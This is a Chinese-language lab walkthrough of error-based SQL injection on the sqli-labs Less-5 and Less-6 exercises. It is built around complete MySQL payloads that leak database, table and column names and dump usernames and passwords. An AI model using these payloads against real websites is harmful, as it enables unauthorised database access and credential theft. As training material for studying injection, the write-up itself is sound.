报错型注入法适用于无回显数据的场景,适合于没有显示位的web页面,但是有mysql报错输出的场景。metasploitable2-Linux在Less-5和Less-6中就用到了报错型注入方法
这种页面有明显的三种场景
场景1:正确查询成功场景为结果显示。
场景2:正确查询失败场景为空,不显示。
场景3:错误语句查询场景,显示报错语句。
在这种情况下,不管输入任何正确的查询语句,web页面只会回显同样的正确的结果,此时联合查询的方法显然失效。
此时我们要通过其错误输出语句来爆出数据库中的数据,所以称之为报错型注入法。
我们通过构造一些错误的函数,来达到其报错语句中输出正确的数据来达到爆数据的效果
分组函数count(),在与某些函数在共用时会产生异常的效果,但该异常能调用数据库信息,从而输出正确的结果。
MAX Hackbar提供了一些错误函数的构造,我们可以借助此工具
关键SQL注入语句:
/?id=1’ and 1=1 --+
/?id=1’ and 1=2 --+
关键SQL注入语句:
/?id=1’ order by 10 --+
/?id=1’ order by 5 --+
/?id=1 ’ order by 3 --+
/?id=1 ’ order by 4 --+
按照联合查询法的步骤,这步应该为测其web页面显示位,但是此时web页面正确的输出结果只有一句you are in …,此时我们不能通过联合查询法,我们可以通过构造一些错误的函数直接来爆出其数据库名
使用工具:Max HackBar
关键SQL注入语句:
OR 1 GROUP BY CONCAT_WS(0x3a,database(),FLOOR(RAND(0)*2)) HAVING MIN(0) OR 1
//构造错误并且能够输出正确的一部分查询结果语句,这个里面有效输出位为concat_ws(version())我们就可以替换该有效输出位(user(),database()等)
0x3a:为分割符,0x3a为:的十六进制数,0x3a=char(58)
此语句group by和floor函数在配合时出现问题,导致输出正确结果database()
关键SQL注入语句:
AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(table_name AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
其中count(*) 和floor(rand(0)*2)引发报错
可以调整的部分:
1.table_name可更换
2.0x7e为~的源码
3.information_schema.tables是系统数据库存表名的一张表,可更换
table_name与limit限制配合时只能输出单个数据
为了更好的可读性我们可以将table_name用函数group_concat(table_name)替换,使其输出所有的表名
输出列名的SQL语句与表类似,修改其系统表tables->columns
关键SQL注入语句:
Max HackBar给出的构造为:
AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(column_name AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
为了更好的可读性,我们可以修改其构造:
AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(column_name) AS CHAR),0x3a)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema=DATABASE() AND table_name=‘users’ ),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
函数Concat_ws
Concat_ws(0x3a,id,username,password)
其输出格式为id:username:password
关键SQL注入语句:
Max HackBar给出的构造为:
AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
为了更好的可读性,我们可以修改其构造:
AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT concat_ws(0x3a,id,username,password)) FROM security.users limit 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
less-6与Less-5同样使用,报错型注入,结果相同,区别在于其闭合方式不同,之后的步骤与Less-5一致,再此不详细分析其步骤
关键SQL注入语句:
/?id=1" and 1=1 --+
/?id=1" and 1=2 --+